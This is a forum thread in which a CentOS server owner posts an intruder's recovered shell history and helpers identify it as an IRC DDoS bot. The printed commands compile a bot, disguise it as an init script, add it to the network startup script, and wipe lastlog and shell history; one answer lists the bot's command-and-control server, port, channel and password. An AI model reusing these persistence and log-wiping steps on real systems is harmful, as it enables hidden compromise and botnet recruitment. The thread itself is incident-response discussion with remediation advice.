We logged remotely into our CentOS server today using Putty, and while wandering through previous commands using the up arrow, stumbled across the following:

mkdir /usr/lib/tmp 
cd /usr/lib/tmp 
wget -o /dev/null
wget -o /dev/null
gcc mzb.c -o /bin/bot -lpthread
rm -rf mzb.c
rm -rf windef.h
wget -o /dev/null
chmod +x botsupport.sh
mv botsupport.sh /etc/init.d/httpd2
cat /etc/init.d/network > /etc/init.d/network.bp
echo \#\!/bin/sh  >  /etc/init.d/network
echo nohup /etc/init.d/httpd2 \& >> /etc/init.d/network
cat /etc/init.d/network.bp >> /etc/init.d/network
cat /dev/null > /var/log/lastlog
history -c
nohup /etc/init.d/httpd2 &

(&&'s replaced with newlines for clarity)

I never ran these commands, EVER! How did this happen, is my server being hacked? I immediately changed my root password, but was hoping someone could make heads or tails of what's happening over here.

I see references made in the source to ddos bots, and me and my colleague are seriously concerned!

Thanks in advance!


yes, you have been hacked. The hacker installed an IRC backdoor and you are connecting to this IRC server:

const  int port      = 1254; 
const char channel[] = "#test";
const char password[]= "pass";
const char server[]  = "heathen.cc";

The bot herder can execute any commands on your server. I recommend shutting down the server and reinstalling immediately. The bot has a few DDoS attack features, DNS flood, syn flood and ICMP flood. It also works on windows which is pretty cool. There is a really old spreading module to infect myDoom. This looks like some old malware.

  • 3
    This is why you should always have firewall rules that block egress traffic. A properly configured firewall would have blocked this attack from being able to talk to it's command and control irc server. – 3dinfluence Feb 10 '10 at 20:39
  • This wouldn't have prevented the initial intrusion but would have made it more difficult for the attacker to add your server to a botnet. Either way you would have been faced with re-imaging your OS. – 3dinfluence Feb 10 '10 at 20:44
  • 3
    "This looks like some old malware." - good thing he was running antivirus on his Linux box to detect this. – ta.speot.is Feb 10 '10 at 22:03
  • @taspeotis +1 for the efficient use of humorous sarcasm... – Joe Internet Feb 11 '10 at 0:39
  • I'm curious, how did you know that (the enemy server, port, UN, PW) from those commands? – John Dec 8 '10 at 5:34

The answer is in any case yes, your server is being or has been compromised.

You should cut off the Internet connection to the server immediately, make a full backup (bear in mind other files may be compromised, too), and reinstall.

Also, you may want to notify the owners of the IP the bot net (or whatever this is) is run from. Here is the RIPE whois data.


Never allow root login via SSH.

  • 3
    It could have been any user account who has sudo capability. – Joe Feb 10 '10 at 21:02

The answer to your question is: YES


Sounds like you've been infected with BOT_VERSION where BOT_VERSION is

#define BOT_VERSION "Linux/Unix IRC DDoS bot ver "BIN_VERSVION" by ["CRED"MZђ"CEND"]. Supported features : "FEATURES

Didn't your Linux antivirus pick this up?


I probably would have sanitized the ip address of the C&C machine before posting.

  • 1
    I dunno, I was rather curious about the source code. – ceejayoz Feb 11 '10 at 0:02

Not the answer you're looking for? Browse other questions tagged or ask your own question.